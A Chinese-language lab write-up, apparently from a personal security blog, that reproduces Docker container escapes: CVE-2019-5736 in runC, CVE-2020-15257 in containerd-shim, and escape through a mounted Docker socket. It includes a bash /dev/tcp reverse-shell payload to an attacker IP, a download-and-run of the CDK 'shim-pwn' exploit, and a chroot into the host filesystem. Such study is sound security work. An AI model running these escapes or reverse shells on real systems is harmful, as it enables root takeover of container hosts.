(CN) Docker Escape CVE

Docker Escape

CVE-2019-5736

1. 环境配置

靶机:Ubuntu 18.04

攻击机:kali-2023

docker版本:18.06.1

RunC 版本<=1.0-rc6

2. 环境安装

安装以下包,使得apt可以通过https使用repository

sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common

添加docker镜像源GPG密钥并更新索引包

sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg |sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"

查看可供下载的docker相应的版本

sudo apt-cache madison docker-ce

image-20230612110221625

查看安装的docker版本信息

sudo docker info
image-20230612110719104

3. 漏洞复现

生成payload

下载PoC

将Go脚本的Payload设置成反弹shell

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.182.132/9999 0>&1"

编译生成payload

go build main.go

image-20230612112302527

将该payload拷贝到docker容器中(模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

image-20230612114353485

在攻击机kali上开启监听

image-20230612114443046

执行payload,等待受害者去启动docker容器

image-20230612125650191

image-20230612125633204

发现受害者上线

image-20230612125820581

反弹shell成功,成功获取目标主机的shell,发现此时是root用户

image-20230612125922565

CVE-2020-15257

1. 环境配置

靶机:Ubuntu 18.04

攻击机:kali-2023

docker版本:18.06.1

containerd.io版本:1.2.4-1

sudo apt-get install containerd.io=1.2.4-1

2. 漏洞复现

拉取一个镜像

docker pull ubuntu:18.04

通过--net=host作为启动参数来启动一个容器

sudo docker run -itd --net=host ubuntu:18.04 /bin/bash

进入容器:

sudo docker exec -it 91e /bin/bash

image-20230612170951653

在容器内执行,可看到抽象命名空间Unix域套接字

cat /proc/net/unix | grep -a "containerd-shim"

image-20230612171139013

PoC地址

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz

cdk_linux_amd64直接复制进docker中(模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

sudo docker cp /home/outis/Desktop/cdk_linux_amd64 91e:/tmp

image-20230612172534993

image-20230612172623785

在kali上进行监听

image-20230612172925503

运行payload

./cdk_linux_amd64 run shim-pwn 192.168.182.132 7777

发现在kali中上线了,反弹shell成功,成功实现逃逸,获取主机shell

image-20230612173042153

image-20230612173216134

image-20230612173157731

挂载 Docker Socket 逃逸

1. 环境搭建

创建一个容器并挂载 /var/run/docker/sock 文件

docker exec -it with_docker_sock /bin/bash

在容器内安装 Docker 命令行客户端

docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

检测

ls -lah /var/run/docker.sock

image-20230612135457061

发现存在,则判断漏洞可能存在

2. 漏洞复现

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

image-20230612135920972

chroot /host
Outis Yang
Outis Yang
2024 Undergraduate in Cyberspace Security

My research interests include Internet of Vehicles(IoV), Penetration Testing and Security research.